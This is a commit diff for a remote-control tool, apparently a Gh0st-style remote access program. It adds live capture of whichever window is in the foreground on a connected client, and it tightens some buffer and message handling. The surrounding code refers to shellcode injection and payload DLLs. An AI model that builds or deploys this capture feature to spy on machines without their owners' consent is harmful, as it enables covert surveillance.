Feat: Support viewing active window via online-host popup menu

This commit is contained in:
yuanyuanxiang
2026-06-15 16:14:01 +02:00
parent 931492a294
commit 2765d95950
13 changed files with 118 additions and 24 deletions

View File

@@ -170,7 +170,8 @@ public:
// 感兴趣区域 (ROI) // 感兴趣区域 (ROI)
RECT m_ROI = {0,0,0,0}; RECT m_ROI = {0,0,0,0};
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化) bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口NULL=保持原 HWND
int m_nScaleSendWidth = 0; int m_nScaleSendWidth = 0;
int m_nScaleSendHeight = 0; int m_nScaleSendHeight = 0;

View File

@@ -471,11 +471,18 @@ void CScreenManager::InitScreenSpy()
DXGI = param->buffer[0]; DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo; algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all; all = param->length > 2 ? param->buffer[2] : all;
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获 // buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) { // 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
uint64_t hwnd64 = 0; uint64_t hwnd64 = 0;
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t)); memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64; if (hwnd64 == (uint64_t)-1) {
m_bDynamicForeground = true;
m_hTargetWnd = GetForegroundWindow();
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
} else if (hwnd64) {
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
}
} }
} }
m_pUserParam = param; m_pUserParam = param;
@@ -488,7 +495,7 @@ void CScreenManager::InitScreenSpy()
algo = m_QualityProfiles[level].algorithm; algo = m_QualityProfiles[level].algorithm;
} }
// 窗口捕获必须走 GDIPrintWindowScreenCapturerDXGI 无窗口捕获能力 // 窗口捕获必须走 GDIPrintWindowScreenCapturerDXGI 无窗口捕获能力
if (m_hTargetWnd && DXGI == USING_DXGI) { if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
DXGI = USING_GDI; DXGI = USING_GDI;
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n"); Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
} }
@@ -542,12 +549,12 @@ void CScreenManager::InitScreenSpy()
} else { } else {
SAFE_DELETE(s); SAFE_DELETE(s);
m_isGDI = TRUE; m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
} }
} else { } else {
m_isGDI = TRUE; m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
} }
} }
@@ -651,10 +658,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect(); if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
if (!This->IsConnected()) continue; if (!This->IsConnected()) continue;
if (!This->m_SendFirst && This->IsConnected()) { if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE; // 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
This->SendBitMapInfo(); HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
Sleep(50); if (!_targetWnd || !IsIconic(_targetWnd)) {
This->SendFirstScreen(); This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
} }
// 降低桌面检查频率避免频繁的DC重置导致闪屏 // 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->IsRunAsService() && !This->m_virtual) { if (This->IsRunAsService() && !This->m_virtual) {
@@ -711,6 +722,10 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
} }
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步 // 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) { if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager
// 否则 InitScreenSpy 会沿用旧 HWND导致无限重建循环
if (This->m_ScreenSpyObject->m_NextTargetWnd)
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
SAFE_DELETE(This->m_ScreenSpyObject); SAFE_DELETE(This->m_ScreenSpyObject);
This->InitScreenSpy(); This->InitScreenSpy();
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧 This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
@@ -852,7 +867,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏 // [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF; BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
if (mode == 0x00 && ulLength > 2) { if (mode == 0x00 && ulLength > 2) {
const char* title = (const char*)(szBuffer + 2); char title[512] = {};
int titleLen = ulLength - 2;
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
memcpy(title, szBuffer + 2, titleLen);
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL; m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd); Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) { } else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
@@ -862,6 +880,11 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd); Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
} else { } else {
m_hTargetWnd = NULL; m_hTargetWnd = NULL;
m_bDynamicForeground = false;
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
}
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n"); Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
} }
RestartScreen(); RestartScreen();
@@ -2087,7 +2110,8 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
if (m_ScreenSpyObject) { if (m_ScreenSpyObject) {
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow(); HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) { if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
SetForegroundWindow(hwndTarget); if (!SetForegroundWindow(hwndTarget))
return; // UIPI 等原因置前失败,不向错误窗口注入输入
} }
} }

View File

@@ -64,7 +64,8 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
BOOL m_bIsBlockInput; BOOL m_bIsBlockInput;
RECT m_ROI = {0}; RECT m_ROI = {0};
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏) HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口HWND sentinel=-1触发
BOOL m_SwitchScreen = TRUE; BOOL m_SwitchScreen = TRUE;
BOOL SendClientClipboard(BOOL fast); BOOL SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);

View File

@@ -13,10 +13,11 @@
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
RECT rc, BOOL switchScreen, HWND hwnd) : RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen) ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
{ {
m_hTargetWnd = hwnd; m_hTargetWnd = hwnd;
m_bDynamicForeground = dynamicFg;
m_GOP = gop; m_GOP = gop;
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量 // 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
@@ -160,7 +161,36 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{ {
if (m_hTargetWnd) { if (m_hTargetWnd || m_bDynamicForeground) {
// 动态前景模式:每帧查询当前前景窗口,切换时尺寸不变则直接复用,尺寸变化则触发重建
if (m_bDynamicForeground) {
HWND fg = GetForegroundWindow();
if (fg && fg != m_hTargetWnd) {
RECT wndRc = {}, frameRc = {};
GetWindowRect(fg, &wndRc);
frameRc = wndRc;
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
// 尺寸不同:触发重建,同时把新 HWND 写入 m_NextTargetWnd
// 让 WorkThread 在重建前同步更新 CScreenManager::m_hTargetWnd
m_NextTargetWnd = fg;
m_bNeedRestart = true;
return;
}
// 尺寸相同:直接切换,更新阴影偏移和缓存,无需重建
m_ShadowLeft = frameRc.left - wndRc.left;
m_ShadowTop = frameRc.top - wndRc.top;
m_CachedWndW = wndRc.right - wndRc.left;
m_CachedWndH = wndRc.bottom - wndRc.top;
m_PendingWndW = m_PendingWndH = 0;
m_hTargetWnd = fg;
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
}
if (!m_hTargetWnd) return; // 当前无前景窗口,冻结上一帧
}
// 最小化不绘制hdcDest 保留上一帧内容(远程端看到冻结画面) // 最小化不绘制hdcDest 保留上一帧内容(远程端看到冻结画面)
if (IsIconic(m_hTargetWnd)) return; if (IsIconic(m_hTargetWnd)) return;

View File

@@ -95,7 +95,8 @@ protected:
BOOL m_bVirtualPaint;// 是否虚拟绘制 BOOL m_bVirtualPaint;// 是否虚拟绘制
EnumHwndsPrintData m_data; EnumHwndsPrintData m_data;
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏) HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
int m_ShadowLeft = 0; // DWM 阴影左偏移frameRc.left - fullRc.left帧间缓存 int m_ShadowLeft = 0; // DWM 阴影左偏移frameRc.left - fullRc.left帧间缓存
int m_ShadowTop = 0; // DWM 阴影上偏移frameRc.top - fullRc.top帧间缓存 int m_ShadowTop = 0; // DWM 阴影上偏移frameRc.top - fullRc.top帧间缓存
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
@@ -106,7 +107,7 @@ protected:
public: public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL); int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; } virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }

Binary file not shown.

View File

@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS); m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL); m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY); m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr; m_ServerBin[i] = nullptr;
@@ -993,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved) ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased) ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo) ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -4030,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]); Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]); Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]); Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -10298,6 +10301,22 @@ LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
return S_OK; return S_OK;
} }
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
{
// 向指定客户端发送"动态前景窗口捕获"命令。
// 复用 WM_OPEN_WINDOW_SCREEN 消息hwnd64 用 (uint64_t)-1 作为 sentinel。
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
// PostCaptureForegroundWindow(GetSelectedContext());
char* arg = new char[2 * sizeof(uint64_t)]();
uint64_t clientID = ctx->GetClientID();
uint64_t sentinel = (uint64_t)-1;
memcpy(arg, &clientID, sizeof(uint64_t));
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
delete[] arg;
}
}
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{ {
char* ip = (char*)wParam; char* ip = (char*)wParam;
@@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
} }
CloseClipboard(); CloseClipboard();
} }
void CMy2015RemoteDlg::OnOnlineActiveWnd()
{
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
if (!Pos) return;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
auto ctx = GetContextByListIndex(iItem);
if (!ctx) return;
PostCaptureForegroundWindow(ctx);
}

View File

@@ -381,7 +381,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy CBitmap m_bmOnline[60];
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -511,6 +511,7 @@ public:
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam); afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam); afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
@@ -633,4 +634,5 @@ public:
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
afx_msg void OnCopyClientInfo(); afx_msg void OnCopyClientInfo();
afx_msg void OnOnlineActiveWnd();
}; };

View File

@@ -498,13 +498,13 @@
<ItemGroup> <ItemGroup>
<Image Include="res\2015Remote.ico" /> <Image Include="res\2015Remote.ico" />
<Image Include="res\audio.ico" /> <Image Include="res\audio.ico" />
<Image Include="res\bitmap\ActiveWnd.bmp" />
<Image Include="res\Bitmap\AddWatch.bmp" /> <Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" /> <Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\AssignTo.bmp" /> <Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AuthGen.bmp" /> <Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\authorize.bmp" /> <Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\Backup.bmp" /> <Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />

View File

@@ -323,8 +323,8 @@
<Image Include="res\Bitmap\Snapshot.bmp" /> <Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\bitmap\uncompress.bmp" /> <Image Include="res\bitmap\uncompress.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\bitmap\uninstall.bmp" /> <Image Include="res\bitmap\uninstall.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />
<Image Include="res\bitmap\ActiveWnd.bmp" />
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@@ -662,5 +662,7 @@ void CSystemDlg::OnWlistView()
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t)); memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
ASSERT(m_pParent); ASSERT(m_pParent);
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0); if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
delete[] arg;
}
} }

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

View File

@@ -267,6 +267,8 @@
#define IDB_BITMAP_UNCOMPRESS 387 #define IDB_BITMAP_UNCOMPRESS 387
#define IDB_BITMAP9 388 #define IDB_BITMAP9 388
#define IDB_BITMAP_COPY 389 #define IDB_BITMAP_COPY 389
#define IDB_BITMAP10 390
#define IDB_BITMAP_ACTIVE_WND 390
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -1002,14 +1004,16 @@
#define ID_COPY_CLIENT_INFO 33063 #define ID_COPY_CLIENT_INFO 33063
#define ID_WLIST_33064 33064 #define ID_WLIST_33064 33064
#define ID_WLIST_VIEW 33065 #define ID_WLIST_VIEW 33065
#define ID_ONLINE_33066 33066
#define ID_ONLINE_ACTIVE_WND 33067
#define ID_EXIT_FULLSCREEN 40001 #define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 389 #define _APS_NEXT_RESOURCE_VALUE 391
#define _APS_NEXT_COMMAND_VALUE 33066 #define _APS_NEXT_COMMAND_VALUE 33068
#define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif